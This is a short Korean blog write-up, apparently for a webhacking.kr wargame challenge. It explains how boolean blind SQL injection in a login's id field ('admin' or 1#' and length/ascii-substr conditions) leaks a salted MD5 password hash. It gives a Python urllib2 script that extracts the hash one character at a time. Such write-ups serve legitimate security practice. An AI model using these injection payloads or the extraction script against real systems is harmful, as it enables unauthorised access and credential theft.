guest, guest로 로그인하면 이상한 해쉬값 발견, 길이가 32라 md5같은데 salt를 뭘 붙이는거같음.
조인으로 새로운 아이디 만들어보니 또다른 해쉬값 생성. salt+아이디 등으로 해쉬가 만들어지는듯.
별짓 다해봐도 안되다가 id를 admin' or 1%23 등으로 보냈더니 Wrong가 아닌
Wrong password라는 에러메시지 확인. Wrong password는 아이디는 맞았는데 password가
틀렸다는 소리같음. 그럼 admin' or 1%23은 true라는 소리이므로. 이걸로 pw길이 확인.
id=admin\' and length(pw)<40%23 등으로 길이추출. pw는 32자 확인.
pw를 한자씩 뽑아내면 됨. 해쉬값을 계속 봐도 숫자+영어소문자로 이루어진 것 같으므로 그것만
돌려보면 됨. id=admin\' and ascii(substr(pw,1~33숫자,1))=48~128숫자%23
돌린다음 해쉬값을 디코딩하면 문자열이 나오는데, 이전에 join을 가입했던 문자열들에 앞값이나
뒷값을 붙여봐서 md5해봐서 salt값을 추측할수 있음. 추측하면 그 salt 값을 빼면 답.
import urllib2 req = urllib2.Request('http://webhacking.kr','id=????&pw=?????') session = urllib2.urlopen(req).headers.get('set-cookie') answer = '' for i in range(1,33): for j in range(48,128): print i,j,answer req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-2/index.php','id=admin\' and ascii(substr(pw,'+str(i)+',1))='+str(j)+'%23&pw=guest') req.add_header('cookie',session) if urllib2.urlopen(req).read().find('Wrong password') != -1: answer += chr(j) break print answer
'webhacking > sql, sql injection' 카테고리의 다른 글
suninatas level 23 (0) | 2014.10.30 |
---|---|
suninatas level 6 (0) | 2014.10.30 |
webhacking.kr 21 (0) | 2014.10.23 |
wargame.kr counting_query (0) | 2014.10.15 |
wargame.kr q&a (0) | 2014.10.06 |